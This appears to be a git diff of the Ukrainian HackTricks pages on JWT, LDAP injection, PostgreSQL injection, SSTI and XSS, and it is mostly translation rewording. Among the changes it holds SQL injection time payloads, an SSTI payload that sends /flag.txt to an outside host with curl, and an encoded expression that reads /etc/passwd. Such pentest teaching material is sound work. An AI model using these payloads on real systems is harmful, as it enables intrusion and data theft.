Термін дії токена перевіряється за допомогою заяви "exp" Payload. Оскільки JWT часто використовуються без інформації про сесію, потрібна обережна обробка. У багатьох випадках захоплення та повторне використання JWT іншого користувача може дозволити видавати себе за цього користувача. JWT RFC рекомендує пом'якшувати атаки повторного використання JWT, використовуючи заяву "exp" для встановлення часу закінчення дії токена. Крім того, реалізація відповідних перевірок додатком для забезпечення обробки цього значення та відхилення прострочених токенів є критично важливою. Якщо токен містить заяву "exp" і обмеження часу тестування дозволяють, рекомендується зберігати токен і повторно використовувати його після закінчення терміну дії. Вміст токена, включаючи парсинг міток часу та перевірку терміну дії (мітка часу в UTC), можна прочитати за допомогою прапора -R інструмента jwt_tool.
|
||||
|
||||
* Існує ризик безпеки, якщо додаток все ще перевіряє токен, оскільки це може означати, що токен ніколи не може закінчитися.
|
||||
|
||||
|
@ -260,7 +260,7 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -272,11 +272,11 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
<summary>Підтримка HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -8,16 +8,16 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -63,7 +63,7 @@
|
|||
**ADAM або Microsoft LDS**: З 2 фільтрами виникає помилка.\
|
||||
**SunOne Directory Server 5.0**: Виконує обидва фільтри.
|
||||
|
||||
**Дуже важливо надіслати фільтр з правильною синтаксисом, інакше виникне помилка. Краще надіслати лише 1 фільтр.**
|
||||
**Дуже важливо надсилати фільтр з правильною синтаксисом, інакше виникне помилка. Краще надсилати лише 1 фільтр.**
|
||||
|
||||
Фільтр має починатися з: `&` або `|`\
|
||||
Приклад: `(&(directory=val1)(folder=public))`
|
||||
|
@ -224,23 +224,23 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** і хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,56 +1,56 @@
|
|||
# PostgreSQL injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
***
|
||||
|
||||
**Ця сторінка має на меті пояснити різні трюки, які можуть допомогти вам експлуатувати SQL-ін'єкцію, виявлену в базі даних postgresql, та доповнити трюки, які ви можете знайти на** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
**Ця сторінка має на меті пояснити різні трюки, які можуть допомогти вам експлуатувати SQL-ін'єкцію, виявлену в базі даних postgresql, і доповнити трюки, які ви можете знайти на** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
|
||||
## Взаємодія з мережею - ескалація привілеїв, сканер портів, розкриття NTLM challenge response та ексфільтрація
|
||||
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
||||
|
||||
**Модуль PostgreSQL `dblink`** пропонує можливості для підключення до інших екземплярів PostgreSQL та виконання TCP-з'єднань. Ці функції, в поєднанні з функціональністю `COPY FROM`, дозволяють виконувати дії, такі як ескалація привілеїв, сканування портів та захоплення NTLM challenge response. Для детальних методів виконання цих атак перевірте, як [виконати ці атаки](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
**Модуль PostgreSQL `dblink`** пропонує можливості для підключення до інших екземплярів PostgreSQL та виконання TCP-з'єднань. Ці функції, в поєднанні з функціональністю `COPY FROM`, дозволяють виконувати дії, такі як підвищення привілеїв, сканування портів та захоплення відповіді на виклик NTLM. Для детальних методів виконання цих атак перевірте, як [виконати ці атаки](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Приклад ексфільтрації з використанням dblink та великих об'єктів**
|
||||
### **Приклад ексфільтрації за допомогою dblink та великих об'єктів**
|
||||
|
||||
Ви можете [**прочитати цей приклад**](dblink-lo\_import-data-exfiltration.md), щоб побачити приклад CTF **як завантажити дані всередину великих об'єктів, а потім ексфільтрувати вміст великих об'єктів всередині імені користувача** функції `dblink_connect`.
|
||||
Ви можете [**прочитати цей приклад**](dblink-lo\_import-data-exfiltration.md), щоб побачити приклад CTF **як завантажити дані всередині великих об'єктів, а потім ексфільтрувати вміст великих об'єктів всередині імені користувача** функції `dblink_connect`.
|
||||
|
||||
## Атаки на PostgreSQL: читання/запис, RCE, ескалація привілеїв
|
||||
## PostgreSQL Attacks: Read/write, RCE, privesc
|
||||
|
||||
Перевірте, як скомпрометувати хост та ескалувати привілеї з PostgreSQL у:
|
||||
Перевірте, як скомпрометувати хост і підвищити привілеї з PostgreSQL у:
|
||||
|
||||
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
|
||||
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Обхід WAF
|
||||
## WAF bypass
|
||||
|
||||
### Функції рядків PostgreSQL
|
||||
### PostgreSQL String functions
|
||||
|
||||
Маніпулювання рядками може допомогти вам **обійти WAF або інші обмеження**.\
|
||||
[**На цій сторінці** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**ви можете знайти кілька корисних функцій рядків.**
|
||||
|
||||
### Складені запити
|
||||
### Stacked Queries
|
||||
|
||||
Пам'ятайте, що PostgreSQL підтримує складені запити, але кілька додатків видадуть помилку, якщо буде повернуто 2 відповіді, коли очікується лише 1. Але ви все ще можете зловживати складеними запитами через Time injection:
|
||||
Пам'ятайте, що postgresql підтримує вкладені запити, але кілька додатків видадуть помилку, якщо буде повернено 2 відповіді, коли очікується лише 1. Але ви все ще можете зловживати вкладеними запитами через Time injection:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
@ -59,7 +59,7 @@ id=1; select pg_sleep(10);-- -
|
|||
|
||||
**query\_to\_xml**
|
||||
|
||||
Ця функція поверне всі дані у форматі XML в одному файлі. Це ідеально, якщо ви хочете вивантажити багато даних в один рядок:
|
||||
Ця функція поверне всі дані у форматі XML в одному файлі. Це ідеально, якщо ви хочете вивантажити багато даних в одному рядку:
|
||||
```sql
|
||||
SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||
```
|
||||
|
@ -97,19 +97,19 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -25,9 +25,9 @@
|
|||
|
||||
## Що таке SSTI (Server-Side Template Injection)
|
||||
|
||||
Вплив шаблона на стороні сервера - це вразливість, яка виникає, коли зловмисник може впровадити шкідливий код у шаблон, що виконується на сервері. Цю вразливість можна знайти в різних технологіях, включаючи Jinja.
|
||||
Впровадження шаблонів на стороні сервера — це вразливість, яка виникає, коли зловмисник може впровадити шкідливий код у шаблон, що виконується на сервері. Цю вразливість можна знайти в різних технологіях, включаючи Jinja.
|
||||
|
||||
Jinja - це популярний движок шаблонів, що використовується в веб-додатках. Розглянемо приклад, який демонструє вразливий фрагмент коду, що використовує Jinja:
|
||||
Jinja — це популярний движок шаблонів, що використовується в веб-додатках. Розглянемо приклад, який демонструє вразливий фрагмент коду, що використовує Jinja:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
|
@ -39,16 +39,16 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
|||
```
|
||||
Пейлоад `{{bad-stuff-here}}` інжектується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером.
|
||||
|
||||
Щоб запобігти вразливостям інжекції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарну обробку та валідацію введених даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості.
|
||||
Щоб запобігти вразливостям інжекції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарію та валідацію введених даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості.
|
||||
|
||||
### Виявлення
|
||||
|
||||
Для виявлення інжекції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає інжекцію послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналіз різниці у відповіді сервера на звичайні дані та цей спеціальний пейлоад. Ознаки вразливості включають:
|
||||
Для виявлення інжекції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає інжекцію послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналіз різниці у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають:
|
||||
|
||||
* Викинуті помилки, які виявляють вразливість і потенційно движок шаблонів.
|
||||
* Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані.
|
||||
* **Текстовий контекст**: Відрізняти від XSS, перевіряючи, чи сервер оцінює вирази шаблону (наприклад, `{{7*7}}`, `${7*7}`).
|
||||
* **Контекст коду**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username`, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача.
|
||||
* **Контекст коду**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username` для перевірки, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача.
|
||||
|
||||
#### Фаза ідентифікації
|
||||
|
||||
|
@ -121,7 +121,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
|
|||
|
||||
* `{{7*7}} = {{7*7}}`
|
||||
* `${7*7} = 49`
|
||||
* `#{7*7} = 49 -- (старий)`
|
||||
* `#{7*7} = 49 -- (спадковий)`
|
||||
* `${7*'7'} Нічого`
|
||||
* `${foobar}`
|
||||
```java
|
||||
|
@ -204,7 +204,7 @@ Thymeleaf також пропонує _попередню обробку вир
|
|||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
Це вказує на те, що якщо движок шаблонів неправильно обробляє ці введення, це може призвести до віддаленого виконання коду, що отримує доступ до URL-адрес, таких як:
|
||||
Це вказує на те, що якщо движок шаблонів неправильно обробляє ці введення, це може призвести до віддаленого виконання коду з доступом до URL-адрес, таких як:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
|
@ -225,7 +225,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
|||
|
||||
Можна використовувати кілька змінних виразів, якщо `${...}` не працює, спробуйте `#{...}`, `*{...}`, `@{...}` або `~{...}`.
|
||||
|
||||
* Прочитайте `/etc/passwd`
|
||||
* Прочитати `/etc/passwd`
|
||||
```java
|
||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||
```
|
||||
|
@ -335,7 +335,7 @@ Jinjava - це проект з відкритим кодом, розроблен
|
|||
* `{{'a'.toUpperCase()}}` - "A"
|
||||
* `{{'a'.concat('b')}}` - "ab"
|
||||
* `{{'a'.getClass()}}` - java.lang.String
|
||||
* `{{request.getClass()}}` - клас com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдіть [проект Jinjava на Github](https://github.com/HubSpot/jinjava/).
|
||||
|
@ -688,7 +688,7 @@ URLencoded:
|
|||
|
||||
* \= 49
|
||||
|
||||
**Сторона клієнта**
|
||||
**Клієнтська сторона**
|
||||
```python
|
||||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||||
```
|
||||
|
@ -731,9 +731,9 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Інші NodeJS
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* Більше інформації в [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
|
@ -814,7 +814,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
[Офіційний сайт](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується і ліцензований за BSD.
|
||||
> Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується та ліцензований за BSD.
|
||||
|
||||
* `{{7*7}} = Помилка`
|
||||
* `${7*7} = ${7*7}`
|
||||
|
@ -939,7 +939,7 @@ ${x}
|
|||
```
|
||||
### SSTI в GO
|
||||
|
||||
У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних пейлоадів:
|
||||
У шаблонному движку Go підтвердження його використання можна здійснити за допомогою специфічних пейлоадів:
|
||||
|
||||
* `{{ . }}`: Відкриває структуру даних. Наприклад, якщо передано об'єкт з атрибутом `Password`, `{{ .Password }}` може його розкрити.
|
||||
* `{{printf "%s" "ssti" }}`: Очікується, що відобразить рядок "ssti".
|
||||
|
@ -955,7 +955,7 @@ vbnet Copy code
|
|||
|
||||
**Експлуатація RCE**
|
||||
|
||||
Експлуатація RCE суттєво відрізняється між `html/template` та `text/template`. Модуль `text/template` дозволяє безпосередньо викликати будь-яку публічну функцію (використовуючи значення “call”), що не дозволено в `html/template`. Документація для цих модулів доступна [тут для html/template](https://golang.org/pkg/html/template/) та [тут для text/template](https://golang.org/pkg/text/template/).
|
||||
Експлуатація RCE суттєво відрізняється між `html/template` та `text/template`. Модуль `text/template` дозволяє викликати будь-яку публічну функцію безпосередньо (використовуючи значення “call”), що не дозволено в `html/template`. Документація для цих модулів доступна [тут для html/template](https://golang.org/pkg/html/template/) та [тут для text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Для RCE через SSTI в Go можна викликати методи об'єкта. Наприклад, якщо наданий об'єкт має метод `System`, що виконує команди, його можна експлуатувати як `{{ .System "ls" }}`. Зазвичай доступ до вихідного коду є необхідним для експлуатації цього, як у наведеному прикладі:
|
||||
```go
|
||||
|
@ -1016,8 +1016,8 @@ return string(out)
|
|||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -17,7 +17,7 @@
|
|||
2. Чи можете ви використовувати події або атрибути, що підтримують протокол `javascript:`?
|
||||
3. Чи можете ви обійти захист?
|
||||
